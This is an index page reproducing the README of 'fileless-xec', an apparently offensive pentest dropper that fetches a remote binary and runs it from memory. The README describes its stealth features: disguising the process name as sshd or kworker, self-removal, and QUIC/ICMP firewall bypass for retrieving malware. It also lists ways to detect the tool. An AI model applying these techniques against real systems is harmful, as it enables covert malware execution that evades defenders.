Ecosyste.ms: Awesome
An open API service indexing awesome lists of open source software.
https://github.com/ariary/fileless-xec
Stealth dropper executing remote binaries without dropping them on disk .(HTTP3 support, ICMP support, invisible tracks, cross-platform,...)
https://github.com/ariary/fileless-xec
bypass-firewall dropper fileless golang http3 memfd pentest pentest-tool quic security stealth
Last synced: about 1 month ago
JSON representation
Stealth dropper executing remote binaries without dropping them on disk .(HTTP3 support, ICMP support, invisible tracks, cross-platform,...)
- Host: GitHub
- URL: https://github.com/ariary/fileless-xec
- Owner: ariary
- License: mit
- Created: 2021-09-13T09:52:54.000Z (about 3 years ago)
- Default Branch: main
- Last Pushed: 2024-07-02T09:08:53.000Z (5 months ago)
- Last Synced: 2024-11-01T09:34:30.475Z (about 1 month ago)
- Topics: bypass-firewall, dropper, fileless, golang, http3, memfd, pentest, pentest-tool, quic, security, stealth
- Language: Go
- Homepage:
- Size: 6.76 MB
- Stars: 185
- Watchers: 8
- Forks: 38
- Open Issues: 1
-
Metadata Files:
- Readme: README.md
- License: LICENSE
Awesome Lists containing this project
- awesome-hacking-lists - ariary/fileless-xec - Stealth dropper executing remote binaries without dropping them on disk .(HTTP3 support, ICMP support, invisible tracks, cross-platform,...) (Go)
README
➲ fileless-xec 🦜
***Pentest use:*** `fileless-xec` is used on target machine to stealthy execute a binary file located on attacker machine
## ➲ Short story
`fileless-xec` enable us to execute a remote binary on a local machine directly from memory without dropping them on disk
**[➪ Install](https://github.com/ariary/fileless-xec/blob/main/install.md)**
- simple usage `fileless-xec [binary_url]` (~`curl | sh` for binaries)
- execute binary with specified program name: `fileless-xec -n /usr/sbin/sshd [binary_url]`
- detach program execution from `tty`: ` fileless-xec --setsid [...]`![demo](https://github.com/ariary/fileless-xec/blob/main/img/fileless-xec.gif)
Explanation
We want to locally executewriteNsleep
binary located on a remote machine.We first start a python http server on remote.
Locally we usefileless-xec
and impersonate the/usr/sbin/sshd
name for the execution of the binarywriteNsleep
(for stealthiness & fun). Once writeNsleep start fileless-xec will delete itself (--self-remove
)### Other use cases
* [Execute binary with stdout/stdin](https://github.com/ariary/fileless-xec/blob/main/usage.md#execute-binary-with-stdoutstdin)
* [Execute binary with arguments](https://github.com/ariary/fileless-xec/blob/main/usage.md#execute-binary-with-arguments)
* [`fileless-xec` self remove](https://github.com/ariary/fileless-xec/blob/main/usage.md#fileless-xec-self-remove)
* [Bypass network restriction using ICMP](https://github.com/ariary/fileless-xec/blob/main/usage.md#bypass-network-restriction-with-icmp)
* [Bypass firewall with HTTP3](https://github.com/ariary/fileless-xec/blob/main/usage.md#bypass-firewall-with-http3)
* ["Remote go": execute go binaries without having go installed locally](https://github.com/ariary/fileless-xec/blob/main/usage.md#remote-go-execute-go-binaries-without-having-go-installed-locally)
* [Execute a shell script](https://github.com/ariary/fileless-xec/blob/main/usage.md#execute-a-shell-script)
* [`fileless-xec` server mode](https://github.com/ariary/fileless-xec/blob/main/usage.md#fileless-xec-server-mode)
* [RAT (Remote Access Trojan) scenario](https://github.com/ariary/fileless-xec/blob/main/usage.md#rat-remote-access-trojan-scenario)
* [`fileless-xec` on windows](https://github.com/ariary/fileless-xec/blob/main/usage.md#fileless-xec-on-windows)## ➲ Stealthiness story
* The binary file is not mapped into the host file system
* The execution program name could be customizable
* Bypass 3rd generation firewall could be done with http3 support
* `fileless-xec` self removes once launched### memfd_create
The remote binary file is stored locally using `memfd_create` syscall, which store it within a _memory disk_ which is not mapped into the file system (*ie* you can't find it using `ls`).***Note:*** the syscall `memfd_create` does not exist for macOS.
### fexecve
Then we execute it using `fexecve` syscall (as it is currently not provided by `syscall` golang library we implement it).> With `fexecve` we could exec a program, but we reference the program to run using a
> file descriptor, instead of the full path.### HTTP3/QUIC
Enable it with
-Q
/http3
flag.
You can setup a light web rootfs server supporting http3 by runninggo run ./test/http3/light-server.go -p LISTENING PORT
(This is http3 equivalent ofpython3 -m http.server
)
usetest/http3/genkey.sh
to generate cert and key.
`QUIC` UDP aka `http3` is a new generation Internet protocol that speeds online web applications that are susceptible to delay, such as searching, video streaming etc., by reducing the round-trip time (RTT) needed to connect to a server.Because QUIC uses proprietary encryption equivalent to TLS (this will change in the future with a standardized version), **3rd generation firewalls that provide application control and visibility encounter difficulties to control and monitor QUIC traffic**.
If you actually use `fileless-xec` as a dropper (***Only for testing purpose or with the authorization***), you likely want to execute some type of malwares or other file that could be drop by packet analysis. Hence, with Quic enables you could **bypass packet analysis and GET a malware**.
Also, in case firewall is only used for allowing/blocking traffic it could happen that **firewall rules forget the udp protocol making your requests go under the radars**
### other skill for stealthiness
Although not present on the memory disk, the running program can still be detected using `ps` command for example.
1. Cover the tracks with a fake program name
`fileless-xec --name ` by default the name is `[kworker/u:0]`2. Detach from tty to map behaviour of deamon process
`fileless-xec --setsid `.### Caveats
You could still be detected with:
```
$ lsof | grep memfd
```Or also [`opensnoop`](https://github.com/brendangregg/perf-tools/blob/master/opensnoop) (but not by [`execsnoop`](https://github.com/brendangregg/perf-tools/blob/master/execsnoop))
Or seccomp profile auditing `execve` syscall (but it is very overwhelming as a `sleep` command also uses execve for example)